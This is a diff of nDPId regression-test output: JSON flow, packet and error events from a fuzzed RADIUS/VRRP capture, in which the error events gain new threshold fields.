00845{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997632285653,"flow_src_last_pkt_time":1528997632285653,"flow_dst_last_pkt_time":1528997632285653,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":691,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":691,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":691,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997632285653,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":112,"ndpi": {"confidence": {"6":"DPI"},"proto":"VRRP","proto_id":"73","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":162,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":17664,"global_ts_usec":1528997632478128} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997632478128,"packet_id":162,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":17664,"global_ts_usec":1528997632478128} 00718{"packet_event_id":1,"packet_event_name":"packet","packet_id":162,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":17664,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997632285653,"pkt":"ABRP+4rqcNuYVcUnRQBFAAEwA2FAAPwRUBrG4hk1CgxAHgcUchABHGYCAlsBFPJGkwRL+pjdA5197qGahcwaCwAAV8gbBVNQQxpuAAABNxA06\/sNxTnxG6ukTqwhWbbA2iqJ9xUQWB4T5BwZI+vaxI+7bs\/vfw\/eMzQ3J3YR5Fh5RZWRNDm4c5zmNtk9aBmMKxf9+K7wySD8NYXouGgH0g5FMhfbrMBBWqKOxwRMjh\/pBwtArUnjATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNmZmLzAwOjU2OmNkOjZkOjQyOjU5LzIyNyUAMjAxMjU0NDIzNRIJU3Vj42VzcxkFU1BDTwYDAgAEUBLN9Y5G45qq3LYn60raic1U"} 00923{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":163,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997403593616,"flow_src_last_pkt_time":1528997403593616,"flow_dst_last_pkt_time":1528997403593616,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997632285653,"l3_proto":"ip4","src_ip":"10.12.64.110","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00921{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":163,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997399308771,"flow_src_last_pkt_time":1528997399308771,"flow_dst_last_pkt_time":1528997399308771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997632285653,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -275,7 +275,7 @@ 00771{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997655006021,"flow_src_last_pkt_time":1528997655006021,"flow_dst_last_pkt_time":1528997655006021,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997655006021,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00775{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_src_last_pkt_time":1528997655006021,"flow_dst_last_pkt_time":1528997655006021,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997655006021,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA5NAAPwRJQAlABk+CgxAHgcUchAAzVdGC1wAxX62GNWdpucNZiYPcJ1Tw+4BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyamE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4T0oBAgBIFwEAAAEF+QC\/pRrW1P2OBIB77PLtyYRYAgUAAKO0Q86taQAA4Eb2Dn1+Ei2LAQACCwUAANEKc5kzaUyUHJ2asC+h4v1QEoNkNdC6vGAIe51fKjW9k5g="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997655006021,"flow_src_last_pkt_time":1528997655006021,"flow_dst_last_pkt_time":1528997655006021,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997655006021,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":165,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997655347789} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997655347789,"packet_id":165,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997655347789} 01259{"packet_event_id":1,"packet_event_name":"packet","packet_id":165,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997655006021,"pkt":"AAAMB6xAABRP+4rqCABFAALHnfCWAP8RAAAKDEAexuIZPnIQBxQCswAAAV0Cq2pJZM0ruVNMnb6INz7DlDAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFd2CQlXSVNQUjEwGgkQADghDQM1NwZbIqcXATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceUTAwLWE3KjQyLWQwLWUwQDAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6MjA6ZDE6N2Q6MzcvMjI4JAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAADLaWk9Y3GhxCUALFVq30f3AwIAIPJ2\/3EaFAAAV8gHDlZaV0MyVGVzdEzhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x4bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQXOelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZBbHVlGh0AADghExc0MC44MDQ4ODJOLTc2LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW26aXJlY3QaDAAABYMHBsB8SplQEpV0+y2O0IA5getcDb\/AJ1c="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997655528306,"flow_src_last_pkt_time":1528997655528306,"flow_dst_last_pkt_time":1528997655528306,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":276,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":276,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":276,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997655528306,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00882{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_src_last_pkt_time":1528997655528306,"flow_dst_last_pkt_time":1528997655528306,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"thread_ts_usec":1528997655528306,"pkt":"ABRP+4rqcNuYZMUnCABFAAEwA5xAAPwRT9bG4hk+CgwlAAcUchB0HNn2Al0BFJBXpcO19tza8j\/VlLjh3P0aCwAAV8gbBVNQQxpuAAABNxA0jONf4TbIHPUvuy933g6GTJqzqlfKJTFZvtaM0NBQo2jkN\/g2tPEp73PKTNfSnSD8j7kRNPVhPusRHPLIHahhhZlLWh2egFea0oaNGerpaQMfhEQ5jMYg8ICzMJVYCSspbKc8\/fk7ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIjViMjJhNzE2L2YwOjc5OjYwOmQxOjclADM3LzIyOFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBIwdD70xCUAoHuVXO\/FXR+q"} @@ -291,9 +291,9 @@ 00745{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997663992299,"flow_src_last_pkt_time":1528997663992299,"flow_dst_last_pkt_time":1528997663992299,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":205,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":205,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":205,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997663992299,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":3} 00774{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_src_last_pkt_time":1528997663992299,"flow_dst_last_pkt_time":1528997663992299,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997663992299,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA8JAAPuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00921{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997476761239,"flow_src_last_pkt_time":1528997476761239,"flow_dst_last_pkt_time":1528997476761239,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997664564143,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.37.0","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997664794099} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997664794099,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997664794099} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997664564143,"pkt":"ABRP+4rqcNuYVcUnCABFAAEwJQBAOfwRT6vG4hk1CgxAHgcUchABHPYEAmEBFD8mC375vqLp+KF9uwm3k4gaCwAAV8gbBVNQQxpuAAABNxA07wUYi7+P\/KZsVS9NJaMwCtVJk9jEkC3Vl7jOtDBnuTtoap5IYaKcg6eQ4RJKJBTY9DYRNNB+ybyX+uSA4d1O4JYyTwpoEtUi2e6DQEAJ+nzQSzAvvoa2HSAJtTQFSW0rq69l6fpVATUwMzExNDgwMDcTwDM4MDcyQHdsYW4ubW5jNDjSLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNzE2L2YwOjc5OjYwOmQxOjdkOjM3LzIyOFkMOTA4JQAhMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJTXIMaNTnLNgc2lqiL9H7Q"} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":175,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997683254797} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997683254797,"packet_id":175,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997683254797} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":175,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997664564143,"pkt":"AAAMB6xAABRP+4rqCABRAALbIRRAAP8RAAAKDEAexuIZNXIQBxQCxwAAAWICv9GcOA+HA3ZCcU+zBYarldEaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXMlNQUjEwGgkAADghDQM4NwZbIqczATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUyLTAwOlZlchR6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJAzdhdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMlE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNMcHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3Rhqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":176,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":41,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997683490128,"flow_src_last_pkt_time":1528997683490128,"flow_dst_last_pkt_time":1528997683490128,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997683490128,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.172.158","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00777{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_src_last_pkt_time":1528997683490128,"flow_dst_last_pkt_time":1528997683490128,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997683490128,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA\/1AAPsRUM3G4hk1CgysngcUchAAzV+4C2IAxbjeL+gJ\/Z8y3pAVBW+ilI8BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrTG9yZywgNWIyMmE3MTYvZjA6Nzk6NjA6UjE6NyUAMzcvMjI4T0oBAgBIFwEAAAEFAACeTPrzq4G+qMdV63zS5jgKAgUAANMitQR5aAAATi\/4eqBv42KLAQBzCwUAAI3Vpdgp79asxAN0pnzOl99QEuFioroE6q1umxIDXtaj55s="} @@ -302,7 +302,7 @@ 01422{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_src_last_pkt_time":1528997683835823,"flow_dst_last_pkt_time":1528997683835823,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528997683835823,"pkt":"AAAMB6xAABRP+4vqCABFAALHIRVAAP8RAAAKDEAexncZNXIQBxQCswAAAWMCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":43,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997687969587,"flow_src_last_pkt_time":1528997687969587,"flow_dst_last_pkt_time":1528997687969587,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997687969587,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1965,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00776{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_src_last_pkt_time":1528997687969587,"flow_dst_last_pkt_time":1528997687969587,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997687969587,"pkt":"ABRP+4rqcNuYVcUnCABFAADhBApAAPwRT8DG4hk1CgxAHgetchAAzW6NC2QAxZQNQW9gM5ZAoOSO4YFP3T0BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4T0oBAgBIFwEAAAEFAABnRC75Yur1ZFj3fN3BeW98AgUAAFegbuvq5gAA\/FNfCuUdMLiLAQACCwUAAJwUGRbAWowbz35Ho4OQS4FQEj0VhwwOXHKZf7fI3xH\/2bM="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":185,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2304,"global_ts_usec":1528997692784807} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997692784807,"packet_id":185,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2304,"global_ts_usec":1528997692784807} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":185,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2304,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997692462514,"pkt":"ACUAB2ugABRP+4rqCQBFAALHIRlAAP8RAAAKDEAexuIZNXIQBxQCswAAAWcCq6p8EPt1JA7lQ+Db9yRaDGkaCgAAV8gOBFVTGnAAAFfIDQZ3aWZpGg8AAFfICSlXSVNQUjEwGgkAADghDQM5NwZbIqc8ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLUkwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAIJASthdWRpdC1zZXNzaW9uLWlkJQAwZmYxMGFjMDIwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQII5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGIQAAAAIMBgAABRQ9Bk0AABNABgAAAA1BBgAAAAZRBDU2TyYCAnEkFwEAAAsFAAB5qZtl7jXBbH7Ivr+LWOj2AwIAIKwexEUaFAAAVsgHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJgwBXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXwB0RVlpXIEMyIFRlc3QgTGFiGgslAFclAAVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWj1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSolQEnRJIAwgdOVHaEimFKQwq+M="} 00933{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":187,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":47,"flow_dst_packets_processed":47,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528997692257778,"flow_dst_last_pkt_time":1528997692968992,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":32241,"flow_dst_tot_l4_payload_len":10160,"midstream":0,"thread_ts_usec":1528997692968992,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 